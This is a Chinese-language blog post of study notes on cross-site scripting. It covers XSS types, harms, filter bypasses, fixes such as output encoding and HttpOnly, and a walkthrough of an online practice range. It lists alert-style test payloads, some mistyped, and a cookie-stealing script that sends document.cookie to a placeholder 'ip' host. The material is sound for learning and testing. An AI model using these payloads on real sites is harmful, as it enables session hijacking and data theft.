xss学习

XSS简介

【在有XSS漏洞时,看有无其他漏洞】

  • XSS介绍:
    xss跨站脚本,较合适的方式应该叫做跨站脚本攻击(Cross site scripting)。为了与层叠样式(CSS)区分,便取名XSS

  • 分类:
    1、反射型(非持久型):攻击者事先做好攻击连接,要用户自己点击才可触发;
    2、存储型(持久型):存储在数据库中,每次访问可触发;
    3、DOM型:基于文本对象的一种漏洞;

  • XSS危害
    1、钓鱼欺骗
    2、网站挂马
    3、身份盗用
    4、盗取用户信息:盗取用户的cookie从而获取用户身份
    5、垃圾短信发送
    6、劫持用户web行为
    7、XSS蠕虫

在这里插入图片描述

  • 形成原因:
    由于程序员在编写代码时,未对用户输入的数据进行处理或者处理不当,从而导致恶意payload代码被执行,简单就是对非预期输入的过分信任。

漏洞挖掘与修复

  • 在进行测试时,就是见框就上,但是要注意闭合标签,尤其是存储型的XSS,如果不闭合将会把站点的功能打坏!
  • 常见的测试地(各种有输入输出的地方):

1、所搜框
2、URL地址栏
3、留言板
4、登录处等

  • 挖掘测试的payload:
1.<script>alert(1)</script>
2.<svgonload=prompt(1);>
3.<body onload=prompt(1);>
4.<a onclick=alert(1)>
5.<img/src/onerror=alert(1)>
6.<img src=1 onerror=alert(1)>
7.<marquee/onstart=confirm(1)>
8.<a href="javascript:alert(/1/)>link</a>
9.<button/omlinck=alert(1)>
10.<audio src=1 οnlοadstart=alert(1)>
11.<iframe/οnlοad=alert(1)></iframe>
12.<video/src/οnerrοr=prompt(1);>
13.<input/οnfοcus="alert(1)"/autofocus/>

  • 绕过方式:

1、大小写
2、双写
3、闭合标签
4、url编码绕过
5、空格/回车/Tab
6、双尖括号绕过
7、空字节绕过8
8、构造事件绕过

  • 漏洞修复

1、输入检查:白名单、在服务器中或Javascript中实现相同的输入检查
2、输出检查:html编码、js转义
3、httponly:浏览器进制页面的JavaScript访问带有HTTPonly属性的cookie。HTTPonly解决的是XSS后的cookie劫持攻击

  • 同源策略

同源策略是用于限制不同来源的资源之间的交互,在浏览器定义对不同的页面,如果主机名、协议与端口均相等,即为同源。

  • 点击事件
1.onlick:单点击事件
2.ondblclick:双击点击事件
3.onmousedown:按下鼠标触发
4.onmouseup:按下鼠标松开触发
5.onmouseover:移动到对象范围上方内触发
6.onmousemove:移动触发
7.onmouseout:移开触发
8.onkeypress:按压
9.onkeyup:按压松开
10.onfocus:获得焦点触发
11.onblur:失去焦点触发
12.onchange:失去焦点且内容改变
13.onsubmit:提交触发
14.onreset:表中的reset的属性被激活触发
15.onload:页面内容完成时触发
16.onunload:页面改变时触发
17.onresize:窗口大小改变触发
18.<script>document.location="http://ip/xss/cookie.php?cookie="+document.cookie</script>

XSS实战(在线XSS靶场实战)

第一关:输入无害内容,原样输出:
在这里插入图片描述
进行XSS注入:
在这里插入图片描述
第二关:输入内容后,发现内容被写入了代码中:
在这里插入图片描述
发现插入的内容存在于表前内,进行标签的闭合:
在这里插入图片描述

第三关:输入内容,发现内容进行了输出,但代码中并无数据
在这里插入图片描述
发现输出在标签中,尝试闭合:
在这里插入图片描述
在这里插入图片描述
尝试闭合无效后,第一个输入框发现无法实现所需的操作,只能对第二个框下手,但下来框在界面无法进行操作,所以进行抓包处理:
在这里插入图片描述
在这里插入图片描述

第四关:在进行一系列尝试后,无法得到所需效果,进行抓包,发现存在隐藏项:
在这里插入图片描述
在这里插入图片描述

第五关:发现存在长度的设置:

在这里插入图片描述
进行长度的修改后:
在这里插入图片描述

  • XSS盲注:
    在进行输入后发现页面没有任何回显:
    在这里插入图片描述
    登录后台后,会弹出弹窗:
    在这里插入图片描述
  • XSS过滤
    在输入语句后,发现并没有执行XSS语句,可能是语句被过滤了,所以进行大写尝试:
    在这里插入图片描述

在这里插入图片描述

  • XSS之htmlspecialchars
    在这里插入图片描述
    输入语句后发现没有执行XSS,而是将关键符号进行了实体化,所以尝试事件来进行注入:
    在这里插入图片描述
    输入事件后被包含在a标签中,标签输入的双引号也被替换:
    在这里插入图片描述
    所以尝试单引号:
    在这里插入图片描述
    发现多出个单引号,进行闭合:
    在这里插入图片描述
  • xss之href输出
    利用为协议进行注入:
    在这里插入图片描述

在这里插入图片描述

  • XSS之js输出

输入后发现成为字符:
在这里插入图片描述
进行闭合:
在这里插入图片描述
成功!

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值